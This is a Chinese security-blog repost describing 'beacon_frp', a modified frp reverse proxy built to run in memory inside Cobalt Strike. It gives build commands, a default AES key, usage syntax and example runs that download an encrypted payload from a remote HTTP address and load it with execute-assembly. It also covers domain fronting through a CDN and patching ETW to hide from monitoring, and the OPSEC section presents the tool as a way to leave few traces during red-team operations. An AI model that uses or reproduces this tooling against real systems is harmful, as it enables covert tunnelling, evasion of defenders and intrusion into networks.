beacon_frp

admin 2022年6月22日13:24:37评论134 views字数 3405阅读11分21秒阅读模式

特点介绍

内存运⾏

即不落地PE⽂件。落地的是⼀个经过aes加密(可以通过修改源代 码⾃定义aeskey,否则使⽤默认的aeskey)的数据⽂件。 

⽀持域前置

PatchETW

远程HTTP下载 payload or 配置⽂件  


1.frp源代码的修改

修改读取config配置的⽅式  

beacon_frp

修改编译exe为DLL  

beacon_frp

流量混淆

域前置   启⽤websocket配合CDN做域前置,这⾥域前置的host需要⾃⼰修改。 

beacon_frp

WSS  这个要⾃⼰改,这个是⾃带的包。


这个是websocket请求的路径,可以根据这个路径给CDN配置不同的请求源。   

beacon_frp


beacon_frp


2.BeaconFRP

sharpfrp:

https://github.com/Conyon1/SharpFrp sharpfrp

在测试的时候我发现他会将dll写到缓存⽬录⾥,我觉得 并不好。加上我之前⼀直想在cs⾥运⾏frp,主要就是cs他有⼀个⼤⼩限制1MB。所以我没办法内存运⾏,如果其他c2的话我觉得完全有可能连aes加密的⽂件都不落地。

Dinvoke:https://github.com/TheWover/DInvoke 感谢这个作者提供的Dinvoke,他是frp能在内存中运⾏的重要的⼀环。 


如果要加⼊域前置,⾃⼰稍微修改⼀下host就可以了。 

request.Accept = "www.baidu.com"  

beacon_frp


加密使用

1.编译DLL

通过修改的frp-dev编译出来⼀个dll,由于源代码经过了修改,所以必须⾃⾏编译 ⼀份frps配合frpc使⽤。

go build --buildmode=c-shared -ldflags= -o ./main.dll main.go

beacon_frp

frps

go build --buildmode=c-shared -ldflags= -o  main.go

beacon_frp


2.加密dll和配置⽂件  

frpcompress.exe  frpcompress.exe --file <rawfilepath> --config <configfilepath> [--aeskey <aeskey> ]
--file 加密的Payload--config 配置⽂件--asekey 可选参数默认密钥:0gw9zyrA7k6FPr2UvhcmOw==

Eg:

base64_configdata:aes加密和base64加密的配置⽂件  main.dll.raw 是经过aes加密和压缩的main.dll  Encryptor.raw 是⽤于远程加载frp的⽂件,将加密后的main.dll和frpc的配置⽂ 件写在了⼀起。只要给⼀个url便会⾃动解析配置⽂件。

如果使⽤main.dll.raw 就需要使⽤--config参数⾃定义配置⽂件。如果使⽤ Encryptor.raw就不需要,因为程序⾃动读取配置⽂件集成在⼀起了。 


直接编译frpcompress

beacon_frp

加密frpc.in和frpc.dll

.frpcompress.exe --file C:UsersqaxDesktopBeacon_Frptestfrpc.dll --config C:UsersqaxDesktopBeacon_Frptestfrpc.ini

返回:

base64_configdata: I9v4IeIc4GCTPdP6SFXcr4EfP+BbA2vH7cV6WcTVnZEUh8oNa//ELB5cWNoyn+pIhbf+PrsjnmiyNbZKK16aovTP4SMy7aCWySX+Z9job8/rwCJWRLIZM3AwsdK6y+DkmNuwvTUaq3BZ2aBI0+sbFh2X6VM7gSdab3/4q62Oi3m5+KHnw2AGy431KlMwxGdgApAFwvLcjZi4kIyFPggr9fxJButVhwGWLSu0oHaQUxFM3eRF1pSHw6Dv5iHqMPX3

和加密后的文件

beacon_frp


frp  

beacon_frp

beacon_frp文件夹为内存加载源码,直接编译就行


beaconfrp.exe   参数介绍  

Usage: beaconfrp.exe <--file|--url> [--asekey] [--config]  
Argument:--url Download configuration files and payloads remotely--file aes encrypted payload--aeskey base64 encoded aes key (default: 0gw9zyrA7k6FPr2UvhcmOw== )--config AES-encrypted base64-encoded configuration file, when using remote loading, it will automatically read the remote file loading configuration without specifying it again
Example:beaconfrp.exe --file If no key is specified, the default aes key is used.beaconfrp.exe --url Using the remote download function.beaconfrp.exe --aeskey --file beaconfrp.exe --aeskey --url Decrypt payload and configuration file with custom key.beaconfrp.exe --url --configbeaconfrp.exe --file --config Specify the config parameter on the command line.

本地加载frp  

与远程加载相⽐本地加载会落地⼀个aes加密过的⽂件 ,使⽤frpc.dll.raw加载⼀定要指定--config,不指定就会报错。  

beaconfrp.exe --url Encryptor.rawbeaconfrp.exe --file frpc.dll.raw --config I9v4IeIc4GCTPdP6SFXcr4EfP+BbA2vH7cV6WcTVnZEeNZHDLcDZI0XrCb4q XYLyAv4WYPH4L/HtFUGnjogZ9ExlFC4ASuT+ewMAaJ1r+j38vCxP03hZrHlGubFDavOPABnbA/SBmV8xMnT0RjyKqTJNmmXxUP2gibj0Uxp/5E3e6VwyUx jzQx2lyN26lYHkBeYVQd1Cn/tiw6Rj99P5pHuxeqxdr4ePmDAVzwcLNjLpziln NaLefH3SxD9UqOu


beacon_frp

使⽤Encryptor.raw加载  

beacon_frp

远程加载

beacon_frp

C:UsersqaxDesktopBeacon_Frptestbeaconfrp.exe --url http://10.0.3.204/Encryptor.raw

beacon_frp

beacon_frp

内存加载

execute-assembly C:UsersqaxDesktopBeacon_Frptestbeaconfrp.exe --url http://10.0.3.204/Encryptor.raw


beacon_frp

beacon_frp

frps

beacon_frp


OPSEC

PatchETW  

https://idiotc4t.com/defense-evasion/memory-pacth-bypass-etwhttps://www.mdsec.co.uk/2020/03/hiding-your-net-etw/

通常在红队行动中,面临的最大挑战并不是诸如杀毒、EDR之类的防护软件,红队行动中工具&代码的杀毒绕过只是事前工作(基本功),所以攻击者使用的工具&代码往往在本地就比较完备的完成了免杀工作,在这样的背景下,如何让工具尽可能少的留下痕迹就成为了红队成员首要解决的问题。


在cobaltstrike中实现了在非托管进程中加载托管代码的功能模块execute-assembly,而这个功能因为操作系统提供的API( ICLRMetaHostICLRRuntimeInfo、ICLRRuntimeHost)在实现上并不复杂,但是这并不影响它的实用性。

beacon_frp

beacon_frp


落地情况

落地的是⼀个经过aes加密(可以通过修改源代码⾃定义aeskey,否则使⽤默认的aeskey)的数据⽂件。

beacon_frp

使用http加载不会落地这个数据文件。建议使用http来加载。



加入知识星球一起学习吧

beacon_frp

原文始发于微信公众号(开普勒安全团队):beacon_frp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月22日13:24:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   beacon_frphttps://cn-sec.com/archives/1133633.html

发表评论

匿名网友 填写信息